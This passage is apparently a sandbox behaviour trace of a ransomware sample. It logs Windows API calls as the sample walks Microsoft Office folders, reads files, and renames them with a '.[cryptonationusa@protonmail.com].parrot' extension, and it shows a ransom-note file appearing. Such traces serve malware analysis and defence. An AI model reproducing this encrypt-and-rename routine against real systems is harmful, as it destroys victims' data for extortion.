lpNumberOfBytesRead=0x18e8f4*=0xbea, lpOverlapped=0x0) returned 1 [0170.507] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.508] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.513] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.513] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0170.514] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.514] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x752, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x752, lpOverlapped=0x0) returned 1 [0170.515] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.515] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GreenTea.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\greentea.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GreenTea.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\greentea.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.519] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.519] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0170.526] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.526] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7c4, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x7c4, lpOverlapped=0x0) returned 1 [0170.526] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.526] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\LightSpirit.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lightspirit.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\LightSpirit.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lightspirit.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.530] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0170.530] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.530] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.530] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.530] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.530] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0170.530] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.530] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.531] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.531] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ce, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1ce, lpOverlapped=0x0) returned 1 [0170.531] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.532] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.535] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.535] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.536] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.536] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10b, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x10b, lpOverlapped=0x0) returned 1 [0170.536] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.536] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.541] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0170.541] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf1adcc20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf1adcc20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.541] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1ab6ac0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xf1ab6ac0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf1adcc20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0170.541] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.542] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0170.543] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.543] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd77, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xd77, lpOverlapped=0x0) returned 1 [0170.543] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.543] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.547] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.547] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0170.549] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.549] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x715, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x715, lpOverlapped=0x0) returned 1 [0170.549] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.549] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Maroon.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\maroon.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Maroon.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\maroon.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.553] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0170.554] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.554] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.554] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.554] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.554] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x86c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0170.554] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.554] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.555] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.556] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x86c, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x86c, lpOverlapped=0x0) returned 1 [0170.556] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.556] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\HEADER.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\header.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.560] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.560] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.561] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.561] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f0, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1f0, lpOverlapped=0x0) returned 1 [0170.561] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.562] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.565] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.565] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.566] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.566] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x401, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x401, lpOverlapped=0x0) returned 1 [0170.567] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.567] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.570] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0170.570] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf1b28ee0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf1b28ee0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.570] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf1b02d80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x988, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="HEADER~1.PAR")) returned 1 [0170.570] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.571] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0170.572] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.572] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd80, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xd80, lpOverlapped=0x0) returned 1 [0170.572] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.573] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.576] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.576] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0170.579] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.579] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x74f, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x74f, lpOverlapped=0x0) returned 1 [0170.579] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.579] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\OliveGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\olivegreen.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\OliveGreen.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\olivegreen.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.582] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.583] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0170.628] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.628] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x705, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x705, lpOverlapped=0x0) returned 1 [0170.628] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.629] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Premium.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\premium.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Premium.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\premium.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.635] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.635] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0170.636] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.636] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x366, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x366, lpOverlapped=0x0) returned 1 [0170.636] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.637] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft 